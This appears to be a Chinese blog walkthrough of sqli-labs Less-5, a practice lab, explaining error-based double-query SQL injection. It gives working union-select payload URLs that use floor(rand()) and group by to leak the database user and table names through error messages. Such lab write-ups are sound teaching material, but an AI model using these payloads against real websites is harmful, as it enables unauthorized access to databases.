【sqli-labs】 less5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)...

双注入查询可以查看这两篇介绍

https://www.2cto.com/article/201302/190763.html

https://www.2cto.com/article/201303/192718.html

简而言之就是构造如下的查询,会使得查询结果的一部分通过报错的形式显示出来

select count(*),concat((select version()),floor(rand()*2))as a from information_schema.tables group by a;

数据库执行结果

但是也有几率不报错

加大rand()的倍数时,报错几率更高,个人推荐用rand()*9这样去掉最后一个单数字后就能得到查询结果

select count(*),concat((select version()),floor(rand()*9))as a from information_schema.tables group by a

有了这个知识再来看less5

提交的id并没有将结果显示在页面

添加单引号报错

确定存在SQL注入漏洞,且报错信息没有被屏蔽

对应sql语句应为,确定为字符型注入

select ... from ... where xx='1' limit 0,1

既然报错信息没有被屏蔽,使用order by探测字段数量

http://localhost/sqli/Less-5/?id=1' order by 4%23

使用union查询

http://localhost/sqli/Less-5/?id=a' union select 1,count(*),concat((select user()),floor(rand()*9))as a from information_schema.tables group by a%23

将select user()做替换,查询其他信息

http://localhost/sqli/Less-5/?id=a' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a%23

 

转载于:https://www.cnblogs.com/omnis/p/8313608.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值